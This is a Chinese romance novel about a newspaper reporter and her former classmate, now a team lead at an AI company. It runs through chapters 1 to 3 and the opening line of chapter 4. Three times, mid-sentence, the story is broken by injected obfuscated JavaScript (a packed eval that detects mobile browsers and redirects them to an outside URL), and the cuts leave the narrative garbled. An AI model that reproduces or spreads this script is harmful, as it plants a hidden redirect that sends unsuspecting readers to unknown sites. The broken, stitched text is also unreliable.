《隐于纸下》 1. 江组长 越往南城的东边走,视线越要习惯往上看。 动辄三十几层的写字楼连片起势,远处还有更拔高的建筑物在修建。 这里与老城区截然不同,汇聚着新兴业态,涌动着各类人才,为谋求发展提供广阔空间,是南城新崛起的CBD。 双向六车道,两侧繁茂规整的绿化带能吸收二氧化碳,也宣告着夏天还在。 进入九月,午后的闷热依然。 但这烦不到汤冉冉,南城日报经济采访中心跑口记者,此刻正坐在出租车上聚精会神地浏览智达科技的公众号推文。 大约又驶过两个信号灯,“您已到达目的地附近,本次导航已结束,再见。”司机师傅扭过头提醒汤冉冉带好物品下车。 与此同时,智达科技企划部的吴经理,也是她此次采访的前期联系人,已经西装革履地在公司一楼的旋转门外等待。 一碰面,两个人互相亮明身份,随后进大厅上直梯。 按下19层的楼层按钮后,吴经理侧身向她介绍:“汤记者,当时您一说采访,我们和分管领导汇报后就立马确定了小江组长作为人选。” “主要也是考虑他对公司的情况比较了解,加上你们年纪相仿,交流起来会比较方便。当然,领导层面也比较希望让年轻人多露脸多展示,有利于对外展示我们企业的蓬勃朝气。”吴经理娓娓道来。 “明白,咱公司考虑得很周全,那待会我和江组长聊,您有事的话去忙就行。”汤冉冉客气回应。 19层到了,出电梯左拐,完成人脸识别和来客登记,办公区的玻璃门迎面打开。 采光良好,温度适宜,米黄色的墙壁上绘有智达科技的浅蓝色logo和“智享生活,达观世界”的企业愿景。 又走过了几排工位,几个员工正拿着一小叠方案凑在一起交谈,汤冉冉跟着吴经理来到办公区北侧的一间会客室前。 “汤记者,先请你到会客室坐一下,我们小江组长这就过来。”吴经理推开门请她先进,接着转身出去拿了几瓶矿泉水回来。 汤冉冉环视了会客室一圈,装潢简约,几个米白色布艺沙发相隔一张张深棕色小桌摆放,和她今天穿的黑白条纹polo领连衣裙莫名相配。 桌上摆了几本企业宣传册,她随手拿了一本翻,初印象还不错。 大概三五分钟的功夫,会客室外响起节奏明快的脚步声,愈来愈近了,汤冉冉正犹豫着要不要起身,吴经理摆摆手示意她不用,低声说:“我去看看,可能是小江组长那边忙完了。” 会客室的门轻掩着,汤冉冉能隐约听到几句交谈。 “不好意思,吴经理,组里临时出了点状况。”是急促又明朗的年轻男声。 “没事没事,小江组长,记者同志已经到了,你进去聊,有拿不准的口径再随时联系我。”这是吴经理的声音。 “好,您去忙,吴经理。”年轻男声应道,汤冉冉估摸着俩人寒暄快结束,把宣传册一搁,往门口挪了两步。 门一下子被打开了。 汤冉冉下意识抬手打招呼:“您好,我是……” 话没说完,就被那道年轻的男声打断:“汤冉冉?” “呃,江……成川?”她极速在脑子里检索认识的人的名单,然后不太确定地说出了这个名字,毕竟不太联络的高中同学已经接近于陌生人。 “对,是我,你还记得。”江成川的脸上浮现出一种难为情,或是羞赧,没了刚才脱口而出喊人的果敢劲儿。 “啊……刚才吴经理给我介绍来着,说江组长是业务骨干,没想到说的是你啊。”汤冉冉客套了几句,想着还是采访要紧,干完活儿再叙旧也不迟。 “老同学,今天就拜托你介绍介绍智达的情况,我们是想围绕人工智能赋能经济社会发展这个主题做一篇蹲点报道,吴经理应该也和你大概说过了。” 两个人没在门口多待,关好会客室的门,来到沙发坐下,“汤记者,我事先准备了一些内容,可以先给你介绍一下,然后结合这次采访的需要,有的话题再详细展开,你看这样行吗?” 此时,江成川已经完全切换到了工作状态,汤冉冉则从背包里拿出录音笔放在两人中间的小桌上,也准备好了。 智达科技是一家专注于人工智能领域的年轻企业,主营的业务有两部分,一块是人工智能产品的自研自产,另一块是为客户提供人工智能方面的解决方案。 而江成川所在的项目三组,主要负责的是小型人工智能产品的初代研发和技术升级,业务板块整体上比较成熟,业务量自然相当充沛。 作为项目组的组长,他有操不完的心,处理不完的突发状况,也就不难解释为什么采访来迟。 江成川注意到放在沙发扶手上的宣传册,指了一下问:“不知道汤记者是不是刚才看过,里面主要是智达初创阶段的一些基本情况,我们其实是做电子信息服务起步,逐渐转入人工智能的赛道,目前还是比较坚定地看好这一块,打算深耕。” 他算不上智达的元老级人物,但介绍起来如数家珍,语气里的自豪感让汤冉冉很有共鸣,因为她对新闻行业的热爱也是这般。 录音笔显示已经录了四十多分钟,汤冉冉顺了一遍采访本上记的满满六页纸内容,觉得前采到这已经大差不差。 “面上的情况大概就是这样,汤记者,要不你再喝口水,我带你去展厅转转?”江成川提议,但没急着从沙发上起身,像是在等她拍板。 “展厅里有一些可体验的AI产品,能更直观地理解人工智能的概念,之前我们接待来参观的领导和客户,也是邀请他们去看看。”他又补充道。 汤冉冉原本没打算去,毕竟曾经的采访经验让她明白,展厅里介绍的企业初心、专利荣誉、服务社会等等内容都能直接看文字材料得到,没必要去转一圈白浪费时间。 但如果能见识到实打实的AI产品,她又有些心动,采访还是得有真东西才能吸引人,于是爽快地答应了。 “不愧是搞人工智能的公司。”汤冉冉一进展厅就在心里感叹。 分流型的参观动线设计、个性化的智能导览服务、科学的来客流量监控系统……总结来说,就是更加注重优化参观体验,她心想,“还真来对了!” 在展区最显眼的位置,汤冉冉看到了汤成川特别提到的可体验AI产品。 “汤记者,这是我们和南城科技联合研发推出的AI写稿机器人,能实现新闻稿的快速撰写,感兴趣也可以体验一下。”江成川仿佛看出了她的心思。 说是AI写稿机器人,外观上与常见的平板电脑无异,它的核心是后台运行的智慧写稿系统,只需用户输入稿件主题和字数要求等信息,便可几秒钟之内见证一篇新闻稿的诞生。 如果对当前稿件不满意,还可以多次调整和补充相关信息,直到稿件达到发布标准,即可一键导出多格式的文本。 汤冉冉在屏幕上随机输入几个关键词,然后点击“写稿”按钮,一行行文字就这么水灵灵地显现出来。 生成完毕后,她快速浏览了一遍,觉得除了几处细节可以再稍加润色,整体看是一篇合规合矩的新闻稿了。 “这……还挺震撼的,你们有预估市场前景怎么样吗?”百闻不如一见,汤冉冉之前就听说国外的一些大型报业集团已经尝试购入写稿机器人,当时只觉得还很遥远,今天零距离感受了一把,心情竟是有些复杂。 江成川没有正面回答这个问题,而是罗列了一些有待充分论证的事项,比如人员失业、媒介伦理、新闻真实等。 “在我们看来,技术的实现只是第一步,后续还有很长一段路要走。AI一旦涉足新闻行业,就不单单是满足快捷写作的属性了,或许还有些别的什么,可能汤记者的感触更深。” 汤冉冉若有所思,觉得江成川说到了她的心坎里,“江组长,那其他产品呢?还有什么有特点的?” “可以再看看这些,像脚边的这款扫地机器人是我们去年的主推产品,在智能避障和吸尘清洁上都实现了新升级,还有这边摆放的智能电视、智能音箱,这些算是目前市场上接受程度比较高的,消费者对人工智能的感知也主要来自这些家用产品上。” “当然,还有一些针对医疗行业或者特殊群体推出的人工智能产品,我们公司在这一块的涉足要晚,技术成熟度上还有很大提升空间。”不藏拙不露怯,江成川相当全面地介绍了公司目前人工智能产品的各项情况。 又过了半个钟头,两个人算是把展厅逛了个七七八八,沿着地面导向线往展厅出口走。 “谢谢你啊,江组长,还好你提议来一趟。”这趟参观超出汤冉冉的预期,收获颇丰。 “客气了,有些概念性的东西比较抽象,看你刚才看得这么投入,我们这些搞产品的也很受鼓舞。”等他们走到展厅出口的时候,吴经理已经在等候了,多半是江成川盘算着结束时间提前知会了一声。 “汤记者,采访还顺利?今天有招待不周的地方,您多见谅。”说话间,吴经理快走几步,周到客气地给汤冉冉指引公司大门的方向,江成川和她并排而行,没再多言。 “您太客气了,今天听江组长的介绍很有干货,对咱企业了解不少,还得回去消化消化。” 汤冉冉边说边往外掏手机,心想差点忘了加个微信,“江组长,方便扫一下吗,估计我之后还得打扰你们,这个报道挺重要的。” 江成川脚步停住,愣了一下,紧接着说:“啊,好。”拿手机的姿势稍微抬高了一点,“我扫你吧,汤记者。” 看着站在一起的两个人,郎才女貌,吴经理禁不住感慨:“对对对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925357|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这样好,具体的业务问题就让小江组长多和咱们记者同志沟通,总之我们一定全力配合好。” 态度积极、善解人意的采访对象,可遇不可求。 通常来讲,先有采访阶段的平稳推进,后续写稿才能心里有底。这次又遇到高中同学,汤冉冉心里多少有点喜滋滋,但转念一想,她又笑不出来了。 作为互联网的原住民,汤冉冉对新技术、新事物的接受能力还算快,但也架不住和会写新闻稿的机器人直接对线,这不是抢人饭碗? 职业危机感来得太快,再进一步形容这种微妙的心情:这是一场关乎“天生我材必有用”和“机器人终将赶超人本身”的心理对垒,夹在自信不足和悲观有余之间,汤冉冉有些困惑。 试想一下,AI写稿取代人脑:打字速度比记者更快,稿件自动修正错字漏字,还能依靠庞大的数据库快速抓取新闻素材,那新闻生产传播中记者的主体价值又何在? 一句名言及时闪现她的脑海:好新闻都是蹲出来的。 说这话的是秦青,南城日报经济采访中心主任,斩获中国新闻奖二等奖3次,南城新闻奖若干的老新闻人。 汤冉冉进报社的第一天,就成了她的徒弟。从跟在秦青屁股后面整理采访录音,到独立跑现场发稿子,再到有人喊她“小汤姐”请教业务问题,汤冉冉一直没挪过窝,任谁来经济采访中心挖人都无动于衷。 这次来智达科技采访,也是因秦主任召集大伙开部门选题会而起,商量蹲点报道版如何稳中出新。 记者蹲点版是南城日报今年重点打造的报纸版面,每月计划只出一版,没有特殊情况是当月的最后一天,版上的稿子则由各采访中心轮流承担。 眼下9月份,经济采访中心再次轮值蹲点版。 上一回是今年的三月,正逢南城召开了新旧动能转换大会,所以选题敲定得十分顺畅,记者们兵分几路进企业、进园区、看项目、看举措,实地探访“新旧动能转换促进高质量发展”。 本着选题尽量不重复的原则,秦主任在部门例会上征求大家的想法意见,经过充分讨论后,拍板决定了9月蹲点版的选题:人工智能何以成为经济发展新动能。 面向广、看点多、耐挖掘,仅是科技革命、产业变革,这些新闻中频频出现的字眼,无不昭示着人工智能的大有可为,由此展开蹲点报道,可谓合情合理。 选题有了,大方向就有了。大家各自该找线索的找线索,该联系采访对象的联系采访对象。一个月的时间完成一篇稿子,听起来绰绰有余,恐怕是只有实操之后,才能明白蹲点报道的地狱难度。 汤冉冉和吴经理、江成川道别,看了一眼手机是下午四点多。 按理说一天中的气温已经开始回落,但对于刚离开空调屋没多久的人来说,夏天的燥热感有增无减,有点心烦意乱。 身陷高耸的写字楼间,压迫感如此真实,汤冉冉没法用“每个人不过是沧海一粟”这样的豁达视角来开导自己,只求道高一尺魔高一丈,让事情可控,让自己能够主宰。 “世上无难事,只要肯放弃。但汤冉冉,偏不!”暗暗下定决心后,她打开手机导航,脚步走得更快了。 报社规定可以报销市内采访的出租车票,但回程时,她没再打车,而是根据导航推荐的,去了二百米远的一处站牌坐公交。 在不赶时间的情况下,其实汤冉冉更偏爱公交出行,一站一停,移步换景。 有人到站下车,有人匆匆跑来,特别是清早的几条公交线,满满当当的车厢里,前面坐着搭伙赶集满载而归的大爷大妈,后排是塞着耳机与世无争的中学生,老老少少,市井气十足,仿佛车厢里也能窥见百态人生。 从智达科技回报社,总车程一个小时冒头,汤冉冉中间要倒一次车,换乘点在南城的一处商业综合体附近。 时间快五点,一些沿街的小吃商户已经摆上食材,开始招揽顾客,汤冉冉就被招呼着凑到一家卖烤冷面的档口前。 “要加烤肠,还是加肉松的?姑娘,旁边有价目表,自己看着选。” 要哪个好呢?正当汤冉冉犹豫,一阵来电铃声替她做了决定。 “闺女,采访完了吗?晚上家里汆丸子,早点下班回来吃。”汤冉冉的母亲宋舒退休四年多,在家就爱研究各种食谱,变着花的给父女俩做饭。 “知道了,妈,能早尽早,请组织放心!”烤冷面哪有妈妈牌的汆丸子香,汤冉冉挂了电话,丝毫不流连地大步往公交车站走。 五点半,回到工位坐定,俗话讲,好记性不如烂笔头,汤冉冉决定趁热打铁,先把今天的采访素材梳理个大概。 按开电脑,翻出采访本,然后从背包里左摸一通,又右摸一通,最后不死心地里里外外翻了个底朝天。 “哎,我的录音笔呢?” 2. 录音笔 “找到了。” 一刻钟前,汤冉冉点开江成川的微信聊天框,表示自己的录音笔可能落在贵司的会客室了,能否帮忙找一下。 等待回应的时间里,汤冉冉眉头紧蹙,双手合十,在心里祈祷:拜托!一定要找到。 这支录音笔陪伴汤冉冉的时间说长不长,但意义重大。 两年前,汤冉冉评上中级记者,职业生涯再上新台阶。 正式提交完职称资格确认表的下午,汤冉冉迈着自信的步伐走出人事办公室的大门,直奔南城的录音笔专门店。 工作日的门店内,顾客寥寥,店员一看到汤冉冉往这走,立马挺了挺背,语气热情道:“女士,看中哪款录音笔,可以给您介绍一下。” “就它了。”不等店员话音落下,汤冉冉已经在一排外形无差的黑色小长方体的录音笔中,目光炯炯地锁定了一支: 立体双麦、续航能力强,重点是标价1119元,恰好对应上了当天的日期数字。 遥想当初拿下一支新录音笔的汤冉冉有多喜眉笑眼,现在的境况就多么让人度秒如年。 好在靠谱的江成川只让她等待了900秒。 “太感谢了,江组长。” “不会,但下班的点儿,过去要晚些。” 送佛送到西,江成川说下班也要开车往老城区走,导航上显示会路过报社,可以顺道把录音笔交给汤冉冉。 “还得是老同学啊!”汤冉冉心情转晴,拿起工位上的卡通玻璃水杯,脚步悠哉打算先接杯水,慢慢等。 “哎六点半了,小汤姐,还没走呢?”前脚从主任办公室出来的乔小童,两三步上前,一伸胳膊拦住汤冉冉的去路,顺势接过水杯,笑着说,“放着我来。” “等录音笔呢,下午落在智达那了。” “犯这种低级错误?小汤姐,这有违你严谨踏实的工作作风。” 汤冉冉没接话茬,心里想着谁说不是呢,上阵的枪都能掉,说出去还不让人笑掉大牙,幸好是熟人面前出糗。 “我猜是不是碰见帅哥了,让你芳心大乱?我明白了,这不是普通的录音笔,这是灰姑娘的水晶鞋啊!”乔小童越说越欢,八卦之心眼看着就要从嗓子眼里蹦出来。 “水杯还我。”汤冉冉假装不耐烦,有点赶人地问,“别说些没用的,你的蹲点有眉目了?” “自然是没有,不过……”乔小童故作玄虚地顿了三秒钟,接着说道,“主任刚喊我过去,说有你的稿子在,我的够发个边栏就行。” “走走走!”汤冉冉一边上手扒拉乔小童的衬衣下摆,一边嚷嚷着,“立刻马上,从我眼前闪人。” “啪嗒、啪嗒”两声,办公区暗了大半,乔小童随手关了其中两排的吊顶长条灯,真的下班走人了。 办公区,归于平静。 汤冉冉深吸了口气,有句话怎么说来着,能力越强,责任越大,倒也没错。 快七点,她站起来活动了下,溜达到提拉窗边,倚着防护栏看窗外暗下来的天色,想起来给母亲大人发了条微信:临时有事,不回家吃了。随后附带一个sorry的可爱小猫表情。 南城,经济水平算不上发达,白天看还带点土气,但到了夜晚则要迷人一些。 从27楼的报社大楼俯瞰,一辆辆私家车打着转向灯汇入车流,规整的线条极富流动感,像是在心照不宣地展示一场排练了很多次的表演。汤冉冉数着有两个路口远,矗立着几栋高度显眼的写字楼,星星点点的内透光泛着浅黄,她使劲眨了眨眼,想看看别人为什么也没下班。 终于,七点过三分,微信响了。 “汤记者,我到了,黑色长安。”消息发完,江成川下了车,把手机收进黑色西裤口袋,又顺手掸了掸开车时留下的裤面皱痕。 他心里纳罕,许是秋老虎威力不减,怎么脑门上冒出了一层薄汗。 报社楼前不好停车,汤冉冉怕耽搁了,秒回了个“OK”,便火速进电梯、按楼层、刷门禁,一路小跑地冲出报社大楼。 “谢谢谢谢,平白让你跑一趟。”录音笔失而复得,汤冉冉语气十分诚恳:“这个点了,要不我请你简单吃个饭?也不远,就是我和同事常去的快餐店。” “那个,你别觉得为难,咱们这不也是好久不见。”没等江成川反应,她又极力补充,“刚好我还有几个采访问题,还想再问问。” 江成川听后,视线短暂地向四周瞟了几眼,抬手拧了一下脖颈,回答得也算自然:“那好,对了,我车里还有几本公司的产品画册,一会你可以拿走看。” “那太好了,各种资料多多益善。”汤冉冉一边道谢,一边琢磨着还是把车停到报社的地下车库最保险,“那个要不你先去停车,我上去拿个包,咱就去吃饭?” 两个人沿着路边大约走了三四百米,在一块有四个发光大字的店面招牌前,汤冉冉停下指着说:“就是这了。” 南城小炒,价格实惠,菜量惊人,广受好评,来吃饭的多是老主顾。 醋溜土豆丝、蚝油生菜、蒜炒西兰花,外加两碗杂粮饭和免费的小米粥。 结账后,汤冉冉负责在前面带路找位置,江成川端着餐盘跟在后面,离她只有半步远。 路过一桌老阿姨的时候,其中一位说:“你看看现在这年轻人,成家了也不攀着谁做饭,大不了天天下馆子。”坐斜对角的那位阿姨显然持不同意见,摆着手反驳说:“这不挺好吗,减少家庭矛盾,我赞成。” 无辜躺枪的汤冉冉转了下身,抬眼正对上江成川那双同样要溢出尴尬的黑色瞳仁,仿佛在说:是非之地,不宜久留。 两个人在店里转了一圈,好不容易找到一张靠窗的桌子坐下,汤冉冉直言不讳:“江成川,我能先提个要求吗?你可别左一个汤记者,右一个汤记者了,直接喊我大名就行。” 一句话像是在心里酝酿了很久,不吐不快,说完她才抿了一口小米粥,“当然,工作的时候,我也会喊你江组长,但私下的时候,咱们别这么见外。” 要搁平常,汤冉冉最希望采访对象称呼她“汤记者”,既不是什么莫名被恭维的“汤主任”,也不是热情到难以招架的“美女记者”。在她这里,姓氏加职业,再合适不过。 不过,今时今日,偶然碰到高中同学,她觉得有些规矩可以不遵守。 “你一直都在南城吗,冉冉。”从善如流,江成川没有顺着她的话表态,只是巧妙地另找了个话题发问,直接把“别见外”运用到实践中。 ”对啊,大四的时候看到报社校招的简章,我就赶紧投简历、准备笔试和面试,一股脑地想抓紧当上记者,现在回想也挺顺的,没多考虑别的。” “我挺佩服能当记者的人。”江成川语气坦诚,视线落在她搅动小米粥的勺子柄上,“尤其是女孩子,倒不是说低估,而是在体力或者什么别的方面,男性确实占了些天然优势的便宜吧。” “你说的有道理,但女性情感细腻敏感的一面,也挺适合一些采访的,对吧?”汤冉冉不打算在这个话题上展开什么争辩,把菜碟往江成川那边推了推,催着说:“快吃快吃,生菜凉了就变色,口感不脆了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一开始,汤冉冉心疼他们白跟着折腾,苦口婆心地劝说过好几回:“爸妈,真的不用管。” 但南墙只有自己撞了才算,等老两口逐渐见识到记者行业的弹性上班,重大节点需要24小时待命的工作状态,心里也犯起嘀咕,咱闺女倒是不用像大多数上班族那样赶早八,但一旦有突发事件,凌晨收拾铺盖出发也是在所难免。 算了,谁让她非得干这行呢,终于熬不住后,老两口表示不再瞎操心。 一通洗漱护肤流程走完,汤冉冉躺在床上,只剩今天的最后一项例行工作:把微信上的消息列表过一遍。 当了七年的跑口记者,微信好友数早已破千,同名同姓的采访对象也加了好几位。 白天忙的时候没空看手机,消息来不及回,又被新的消息覆盖。有的是关心稿件何时能见报,有的是夸赞报道很有文采,问题有大有小,事情有急有缓。 消息不过夜,汤冉冉给自己定的一条规矩。 在她的亲身体会中,记者和采访对象的关系不是一锤子买卖,是否值得深交另当别论,但保持基本的社交礼仪和线上联络,这是应该具备的职业素养。 打了个哈欠,手指继续捋着屏幕右边往下滑,一下、两下,复又折返,目光停在了江成川的那一栏。 汤冉冉不自觉地点开和他的聊天框,又点了一下头像,页面跳转到江成川的微信名片。 再点一下,图片被放大。 他的微信头像,怎么从哪见过? 3. 紫藤萝 第二天上午,汤冉冉没有采访任务,留在家里梳理采访录音。 下午的部门例会要求每个人对采访进展进行阶段性汇报。 江成川的声音从录音笔里传出,她想起来什么,拿起手机点进好闺蜜冯璇的微信聊天框。 “你猜我昨天见到谁了?你们理科班的江成川!” “江胖儿啊,他回来了?听说他留在京市读研,和我们联络也不多。”冯璇兴致缺缺。 冯璇、汤冉冉、江成川,她们三个人是高中同学,只不过汤冉冉后来选了文科,高三分班后就不在一起上课了。 沉默了一会,冯璇还是主动递了个话头,“我记着高三的时候,他晚自习前都不在班里待着,经常一个人去连廊那里坐着刷题,我们都说他是去喂蚊子的。” 连廊? 汤冉冉恍然大悟,是紫藤萝。 江成川的微信头像是紫藤萝。 在南城中学笃信楼的一侧,有一条十来米长的连廊,生命力旺盛的紫藤萝盘绕其上,到了盛开的季节,香气扑鼻。 汤冉冉喜欢午休的时候去那背政治题,因为人少可以背出声,还能来回溜达着散散步,可她从没在那碰到过江成川。 这么想着,她又点开江成川的微信头像,印证了猜测。 一个头像用这么久?汤冉冉脑子里不知怎的蹦出一个词:长情。 “人呢,人呢?”冯璇见她一直不回,开始在微信上嚷嚷。 “你管人家喂不喂蚊子呢,反正他现在可不胖了,昨天我差点没认出来。”汤冉冉作为连廊常客,听不进半点儿质疑。 “而且,我感觉他一瘦下来,整个人气质都不一样了,特文质彬彬。” “是嘛,那可真是男大十八变,有机会咱同学也该好好聚聚,别都不认识了。”冯璇也隔了一会才回。 俩人有一搭没一搭地聊了几个来回,就下线各忙各的。 智达科技的办公室内,江成川打了个结结实实的喷嚏。 “呦!川哥,谁想你了?”组里成员周栋拿着一份方案直接推门而入,他和江成川同年进公司,业务能力不错,不拘小节。 “换季鼻炎,下次注意敲门。”江成川言简意赅,然后接过他的方案专心浏览,偶尔会拿签字笔在旁边标注几下。 周栋也没出去等,直接在旁边的沙发上坐着刷手机,“哎,川哥,你昨天接受采访怎么样啊?这不得让咱公司新来的那些小女生全成你的迷妹了。” 听到“采访”两个字,江成川蓦地笔下一停,看了周栋一眼。 “我就说让我猜对了吧,他们几个昨天还说你一定是心里有白月光,才这么些年不谈,我当时就打赌说是因为咱组里除了可璇都是大老爷们,天天低头不见抬头见,你能和谁谈?”周栋以为自己正中下怀,兴奋地从沙发上蹦起来。 接着,他凑到江成川身边拿腔拿调地补了一句:“不是我没提醒你啊,小江同志,咱们智达虽然开放包容,但办公室恋情还是要谨慎,一切以工作为要。” 江成川显然没心思再听他胡言乱语,把方案往桌上一摆,办公椅往后撤了下,“拿走改,下午开会要用。” 起身出了办公室,然后没走两步又退回来,他气定神闲地说:“工作时间,禁止八卦。” 十一点半,茶水间没几个人,江成川给自己冲了杯咖啡,香气袅袅扩散,足以让他站在小窗户边缓神。 周栋没猜错,没有所谓的白月光,但话也只说对了一半,他心里装着的是一颗光芒四射的小太阳。 从读初中开始,江成川吃得多、动得少,加上学习压力大,体重逐渐脱离控制。等进入高中时,体重严重超标,是正常标准的两倍,人送外号“江胖儿”。 高一运动会,班里利用大课间时间组织项目报名,“江胖儿,你能报啥啊?要不你报铅球吧,这项还空着呢。”体育委员走到他的课桌边,指着运动会报名表上空着的这一项问他。 “可我……我不会铅球啊……”江成川紧张地抠着指甲盖,想找个理由拒绝。 “这不还有时间嘛,谁也不是专业的,友谊第一,比赛第二。”一番好说歹说之下,体育委员给他报上了名。 运动会那天,江成川早早地就去场上热身,比赛开始后,他紧紧注视着前面的选手是怎么蹬地、拨球。 “下一位,13号,高一一班江成川。”裁判在喊他了。 在脑子里最后过了一遍分解动作,他镇定上场,站定、置球,真实的重量感让他心无旁骛。 把球拨出去,越远越好。 蹬腿、送髋、转体…… “咚”“咚”两声,江成川和铅球难分先后的应声倒地,裁判吹哨暂停,紧接着是老师和同学“呼啦”一声围过来的声音。 “同学同学,没事吧?” “快通知他班主任,你们谁认识的过来扶他一下。” 嘈杂中,他把头埋得很低,想逃离,可小腿韧带传来的持续疼痛,又让他动弹不得,只能用手紧紧揪着塑胶草地。 他在心里呐喊:“我说过的,我不会铅球!” “没关系的,江成川,你先试着起来,我带了瓶冰水,你敷敷。”混乱之中,团支书汤冉冉的声音如一支镇定剂,安抚着他的情绪。 他微微抬头,视野里出现一双白色球鞋,而白色球鞋的主人正举着一瓶沁着水珠的矿泉水看向他。 从那之后,汤冉冉或许未察觉到,她身上多了一道停留的目光。 江成川或许也未意识到,他开始在班级跑操时找她在哪一队,在元旦联欢会的时候看她有没有跟着一起笑,在周五大扫除时留到最后和她一块倒垃圾…… 高二末尾,汤冉冉选了文科,江成川选了理科。文科班和理科班分别安排在了“笃信”、“明理”两栋教学楼,两楼一前一后,中间留了一条不算狭窄的过道。 对毕业班的学生来说,时间总是不够用,如果不刻意制造偶遇,这样的距离已经足够隔开说上一句话的可能。 何况,江成川已经打定主意,要把这份朦胧的情感埋在心底。 “同学之间产生好感,是很正常的,这不正说明在你的身边都是优秀的人,你想与她们为伍。”高三一开学,他给班上的心理老师写了封匿名信,甚至探讨当下表白的可行性。 尽管老师一眼就辨认出是谁的字迹,但没有拆穿,而是委婉地在信里提出建议:“当喜欢说出口的时候,对你来说,会变成一种责任,而对那个女同学来说,也会带来压力。或许现在并不是最好的时机,你觉得呢?” 于是,这个只有他和心理老师知晓的秘密,没有惊动第三个人,更不会打扰到汤冉冉,保持了整个高三的沉寂。 高考出分,江成川稳定发挥考上京市一所985大学,被软件工程专业录取。 至此,回望高中的三年,除了他未宣之于口的喜欢,似乎一切都得到美好的回应。 原本可以松弛下来的假期,江成川给自己制定了严苛的饮食和健身计划,几点起床,几点锻炼,几点停止进食…… 日复一日,一整个暑假过去,少年迎来他的蜕变。 大一军训后的国庆假期,江成川没有回家,和室友约着去爬景山公园。他们从公园南门进,映入眼帘的先是绮望楼,楼后便是景山。 景山不高,几个人一口气爬上山巅,从万春亭远眺,京市风光一览无余。 澄净的天空下,江成川心明如镜,他突然觉得不会有比现在更好的时机了。 “川子,咱们买个纪念品带走吧,我记着来的路上有个文创店。”下山后,室友提议去买个钥匙扣挂在新办的学生卡上,江成川也跟着去了。 他从货架上挑了一张印有景山公园全景的明信片,问了店员能否帮忙邮寄,得到确定回答后又要了一支笔。 落笔时,这些话仿佛已经在江成川的心里写了千八百遍,现在不过是再认真描一遍镌刻好的字迹: “汤冉冉,你好。我是江成川,现在在京市上大学,你的大学生活还顺利吗?谢谢你之前的帮助,还有我想冒昧地问一下,你交男朋友了吗?” “好了没啊,川子?”已经结完账的室友过来喊他,看清他写了什么后,不可置信地连拍他的肩膀。 “川子,你咋还在明信片上写情书啊?你不知道这玩意没有封皮,谁都能看见的。” “知道,这又不是什么见不得人的事。”一旦决定了,江成川恨不得昭告全世界他的心意。 要不就憋在心里,要不就袒露在阳光之下,他没觉得这样有什么不对。 填邮寄地址的时候,他翻出手机相册里收藏的一张照片,拍的是南城中学高一一班暑期社会实践5组的成员联络表,里面有包括他和汤冉冉在内的五个同学的电话和家庭住址。 这个联络表一式六份,班主任留一张,小组成员各拿一张回家,江成川拍了照存在高中的手机里,上大学后又导入到现在用的新手机。 把明信片检查了好几遍,这才放心地递给店员,又问清楚了什么时候会有邮递员来取件,从京市寄到南城大约需要多久,暂时没有问题后,他付了钱和室友离开文创店。 那天过后,江成川陷入了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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轮到汤冉冉的时候,她早有准备在笔记本上罗列了几点,大致从智达科技的发展概况、主打的特色产品、良好的经济效益等几个角度发言。 “主任,上次采访的情况就是这些,采访对象也比较配合,您看还有什么问题?”汤冉冉一脸讨好地看向秦主任,听候发落。 “冉冉,你这个不像蹲点,更像企业软文。”秦主任一针见血,然后视线从她身上移开,看了一圈在座的各位,“咱们这次的蹲点要见事见人,想扣经济发展的题没错,但不能只有干巴巴的数据和产品,要关心新闻中的人。” 作为新闻战线上的老兵,秦青在各种采访里摸爬滚打,随便拎出来一个就够大家膜拜学习。 但今天她显然不欲多讲,只再简单说了两句:“大家一定要记住,记者不是写稿机器。采访对象能在多大程度上对你打开心扉,你对他的经历境遇有多少深入了解,这些都关乎稿件的最终呈现效果,关乎文字是否有直抵人心的力量。” 谆谆教诲入耳,汤冉冉抬头和对面的乔小童交换了个似懂非懂的眼神,等后面同事发言的时候,她全然没听进去,一直若有所思地盯着笔记本上记下的“关心人”三个大字。 散会后,汤冉冉回到工位,翻出采访本,重新对着电脑里的采访大纲查漏补缺。 “关心人的故事?”她嘴里重复念叨着,脑海里最先浮现出的是江成川回答采访问题,嗓音干净,吐字清晰,不徐不疾;然后是江成川在报社楼下等她,身形清瘦,熨帖的蓝色衬衫收进利落的黑色西裤里,无偏无倚;最后是浓厚夜色里江成川提出送她回家,一双眼睛里盛着闪闪的月光,诚心正意。 男大也会十八变,越变越好看,她在心里默默肯定了好闺蜜冯璇的论断,“等等,我在想什么啊?”一下子回过神来的汤冉冉感觉脸颊发烫,忙喝了口水,看大家都在埋头干自己的活儿,也低头抓紧整理她的采访提纲。 确实,工作后的江成川没有什么故事可言,每天按时上班,但不一定能准点下班,忙的时候一天只吃两顿饭,中间间隔了将近15个小时。 一天中能经历的最大波澜可能是产品研发陷入僵局,或者是客户反馈说对方案很不满意,但谁工作上没点烦心事呢?他一不怕加班,二不为工作内耗,暴雨落下也不过蜻蜓点水。 晚上八点半,江成川按下公司B2层的电梯,从下午到晚上,开完组长会,开小组会,全神贯注地听了四个小时,口干舌燥地讲了三个小时,现在他终于能长舒一口气。 电梯下降的过程中,他掏出手机,取消静音模式,点开微信。 突然间,心率陡升,仿佛整个人要飘起来了。 可以确定,瞬间加剧的失重感,不是因为电梯故障。 而是来自两个小时前,汤冉冉给他发的一条微信: “不好意思啊,江组长,你这几天有空吗?想约一下补采时间……” 4. 明信片 汤冉冉第二次来智达科技,是在一周之后了。 